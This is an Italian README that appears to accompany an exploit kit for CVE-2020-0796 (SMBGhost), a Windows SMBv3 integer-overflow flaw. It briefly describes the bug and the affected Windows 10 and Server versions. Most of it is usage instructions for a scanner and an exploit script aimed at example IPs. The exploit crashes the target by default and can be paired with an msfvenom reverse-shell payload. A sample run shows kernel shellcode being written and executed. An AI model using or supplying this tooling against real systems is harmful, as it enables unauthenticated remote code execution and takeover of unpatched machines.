cve-2020-0796

CVE-2020-0796 è causato da un errore del protocollo SMBv3 durante l'elaborazione di pacchetti compressi dannosi; durante la decompressione dei pacchetti viene utilizzata la lunghezza fornita dal client senza verificarne la validità, portando infine a un overflow di interi. Consente a un attaccante remoto non autenticato di eseguire codice arbitrario sul sistema di destinazione. La vulnerabilità è simile a EternalBlue (MS17-010).

Versioni interessate: Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)

Descrizione dei file inclusi

scanner.py Esegue la scansione e l'individuazione degli host vulnerabili a CVE-2020-0796. Formato: python scanner.py ip Esempio: python scanner.py 192.168.1.2

Output: Vulnerabile: ip Vulnerable. Non vulnerabile: ip Not vulnerable.

exploit.py Avvia un attacco contro l'host di destinazione vulnerabile; il PoC predefinito causa una schermata blu (BSOD) e richiede l'uso di msfvenom per generare un PoC di reverse shell. Formato: python exploit.py -ip ip Esempio: python exploit.py -ip 192.168.1.2

Output: [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly...